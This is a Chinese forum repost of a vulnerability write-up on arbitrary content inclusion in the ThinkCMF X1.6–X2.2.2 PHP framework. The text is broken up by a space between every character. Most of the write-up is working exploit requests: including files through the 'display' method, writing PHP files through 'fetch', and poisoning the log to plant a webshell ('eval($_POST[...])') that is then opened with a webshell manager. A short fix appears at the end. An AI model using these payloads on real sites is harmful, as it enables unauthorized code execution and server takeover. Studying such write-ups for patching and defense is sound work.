搜索

[200] 2021-05-21_ThinkCMF框架任意内容包含漏洞

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2021-05-21_ThinkCMF框架任意内容包含漏洞 T h i n k C M F 框 架 任 意 内 容 包 含 漏 洞 x i a o   A d m i n   T e a m   2 0 2 1 - 0 5 - 2 1 T h i n k C M F 简 介 简 介 T h i n k C M F 是 一 款 基 于 P H P + M Y S Q L 开 发 的 中 文 内 容 管 理 框 架 ， 底 层 采 用 T h i n k P H P 3 . 2 . 3 构 建 。 T h i n k C M F 提 出 灵 活 的 应 用 机 制 ， 框 架 自 身 提 供 基 础 的 管 理 功 能 ， 而 开 发 者 可 以 根 据 自 身 的 需 求 以 应 用 的 形 式 进 行 扩 展 每 个 应 用 都 能 独 立 的 完 成 自 己 的 任 务 ， 也 可 通 过 系 统 调 用 其 他 应 用 进 行 协 同 工 作 。 在 这 种 运 行 机 制 下 ， 开 发 商 场 应 用 的 用 户 无 需 关 心 开 发 S N S 应 用 时 是 如 何 工 作 的 ， 但 他 们 之 间 又 可 通 过 系 统 本 身 进 行 协 调 ， 大 大 的 降 低 了 开 发 成 本 和 沟 通 成 本 漏 洞 介 绍 漏 洞 介 绍 远 程 攻 击 者 在 无 需 任 何 权 限 情 况 下 ， 通 过 构 造 特 定 的 请 求 包 即 可 在 远 程 服 务 器 上 执 行 任 意 代 码 影 响 版 本 影 响 版 本 环 境 搭 建 环 境 搭 建 T h i n k C M F X 2 . 2 . 2 下 载 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 r K 1 - _ B L m H 1 V P X s I U f r 1 V U w   提 取 码 ： w u h w 将 下 载 好 的 T h i n k C M F 解 压 后 放 在 W W W 目 录 下 ， 然 后 浏 览 器 访 问 即 可 看 到 安 装 页 面 T h i n k C M F   X 1 . 6 . 0 T h i n k C M F   X 2 . 1 . 0 T h i n k C M F   X 2 . 2 . 0 T h i n k C M F   X 2 . 2 . 1 T h i n k C M F   X 2 . 2 . 2
安 装 好 之 后 访 问 页 面 为 漏 洞 分 析 漏 洞 分 析 首 先 打 开 i n d e x . p h p 文 件 ， 查 看 程 序 的 项 目 路 径 ， 可 以 看 到 项 目 路 径 在 a p p l i c a t i o n 目 录 下
在 项 目 路 径 下 找 到 入 口 分 组 的 控 制 器 类 选 择 I n d e x C o n t r o l l e r   控 制 器 类 打 开 ， 可 以 知 道 继 承 了 H o m e b a s e C o n t r o l l e r ， 通 过 g m a 参 数 指 定 分 组 模 块 方 法 ， 这 里 可 以 通 过 a 参 数 直 接 调 用 P o r t a l I n d e x C o n t r o l l e r 父 类 ( H o m e b a s e C o n t r o l l e r ) 中 的 一 些 权 限 为 p u b l i c 的 方 法
可 以 看 的 的 p u b l i c 方 法 里 就 有 d i s p l a y ( ) 、 f e t c h ( ) , 还 有 方 法 作 用 及 参 数 含 义 d i s p l a y 函 数   ( 可 以 自 定 义 加 载 模 版 ， 通 过 可 以 自 定 义 加 载 模 版 ， 通 过 $ t h i s - > p a r s e T e m p l a t e   函 数 根 据 约 定 确 定 模 版 路 径 ， 如 果 不 符 合 原 先 的 约 定 将 会 从 当 前 目 录 开 始 匹 函 数 根 据 约 定 确 定 模 版 路 径 ， 如 果 不 符 合 原 先 的 约 定 将 会 从 当 前 目 录 开 始 匹 配 配 )   的 作 用 是 加 载 模 板 和 页 面 输 出 ， 所 对 应 的 参 数 为 ： t e m p l a t e F i l e 为 模 板 文 件 地 址 ， c h a r s e t 模 板 字 符 集 ， c o n t e n t T y p e 输 出 类 型 ， c o n t e n t 输 出 内 容 t e m p l a t e F i l e 参 数 会 经 过 p a r s e T e m p l a t e ( ) 方 法 处 理 在 a p p l i c a t i o n C o m m o n C o n t r o l l e r A d m i n b a s e C o n t r o l l e r . c l a s s . p h p 的 p a r s e T e m p l a t e ( ) 方 法 如 下 p a r s e T e m p l a t e ( ) 方 法 作 用 ： 判 断 模 板 主 题 是 否 存 在 ， 当 模 板 主 题 不 存 在 时 会 在 当 前 目 录 下 开 始 查 找 ， 形 成 文 件 包 含 构 造 的 p a y l o a d 为   ： i n d e x . p h p ? a = d i s p l a y & t e m p l a t e F i l e = R E A D M E . m d 这 里 f e t c h 函 数 的 三 个 参 数 分 别 对 应 模 板 文 件 ， 输 出 内 容 ， 模 板 缓 存 前 缀 。 利 用 时 t e m p l a t e F i l e 和 p r e f i x 参 数 可 以 为 空 ， 在 c o n t e n t 参 数 传 入 待 注 入 的 p h p 代 码 即 可 漏 洞 复 现 漏 洞 复 现
1 . 通 过 构 造 a 参 数 的 d i s p l a y ( ) 方 法 ， 实 现 任 意 内 容 包 含 漏 洞 2 . 通 过 构 造 a 参 数 的 f e t c h ( ) 方 法 ， 在 不 需 要 知 道 文 件 路 径 的 情 况 下 就 可 以 实 现 任 意 文 件 写 入 执 行 p a y l a o d ， 如 果 页 面 是 空 白 的 ， 则 说 明 可 能 写 入 成 功 3 . 访 问 写 入 的 文 件 1 . p h p ， 发 现 成 功 写 入 文 件 ? a = d i s p l a y & t e m p l a t e F i l e = R E A D M E . m d ? a = f e t c h & t e m p l a t e F i l e = p u b l i c / i n d e x & p r e f i x = ' ' & c o n t e n t = < p h p > f i l e _ p u t _ c o n t e n t s ( ' 1 . p h p ' , ' < ? p h p   p h p i n f o ( ) ;   ? > ' ) < / p h p >
T h i n k C M F 缓 存 缓 存 g e t s h e l l 有 两 种 方 式 可 以 有 两 种 方 式 可 以 g e t s h e l l 第 一 种 方 法 第 一 种 方 法 发 送 请 求 ， t h i n k p h p 生 成 的 日 志 的 格 式 为   年 - 月 份 - 日 期   ( 请 求 的 日 期 ) 由 于 t h i n k c m f 2 . x 使 用 了 t h i n k p h p 3 . x 作 为 开 发 框 架 ， 默 认 情 况 下 启 用 了 报 错 日 志 并 且 开 启 了 模 板 缓 存 ， 导 致 可 以 使 用 加 载 一 个 不 存 在 的 模 板 来 将 生 成 一 句 话 的 P H P 代 码 写 入 d a t a / r u n t i m e / L o g s / P o r t a l 目 录 下 的 日 志 文 件 中 ， 再 次 包 含 该 日 志 文 件 即 可 在 网 站 根 目 录 下 生 成 一 句 话 木 马 m . p h p ? a = d i s p l a y & t e m p l a t e F i l e = < ? p h p   f i l e _ p u t _ c o n t e n t s ( ' s h e l l . p h p ' , ' < ? p h p + e v a l ( $ _ P O S T [ " 6 6 6 6 " ] ) ; ? > ' ) ; d i e ( ) ; ? > h t t p : / / t a r g e t . d o m a i n / ? a = d i s p l a y & t e m p l a t e F i l e = d a t a / r u n t i m e / L o g s / P o r t a l / Y Y _ M M _ D D . l o g
可 以 看 到 已 经 成 功 创 建 了 s h e l l . p h p 文 件 然 后 使 用 蚁 剑 成 功 连 接 h t t p : / / t a r g e t . d o m a i n / ? a = d i s p l a y & t e m p l a t e F i l e = d a t a / r u n t i m e / L o g s / P o r t a l / Y Y _ M M _ D D . l o g
第 二 种 方 法 第 二 种 方 法 发 送 以 下 请 求 然 后 直 接 使 用 一 句 话 管 理 工 具 连 接 h t t p : / / t a r g e t . d o m a i n / ? a = d i s p l a y & t e m p l a t e F i l e = < ? p h p   e v a l ( $ _ P O S T [ " 6 6 6 6 " ] ) ; ? > h t t p : / / t a r g e t . d o m a i n / ? a = d i s p l a y & t e m p l a t e F i l e = d a t a / r u n t i m e / L o g s / P o r t a l / Y Y _ M M _ D D . l o g
修 复 方 法 修 复 方 法 将   H o m e b a s e C o n t r o l l e r . c l a s s . p h p   和   A d m i n b a s e C o n t r o l l e r . c l a s s . p h p   类 中   d i s p l a y   和   f e t c h   函 数 的 修 饰 符 改 为   p r o t e c t e d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理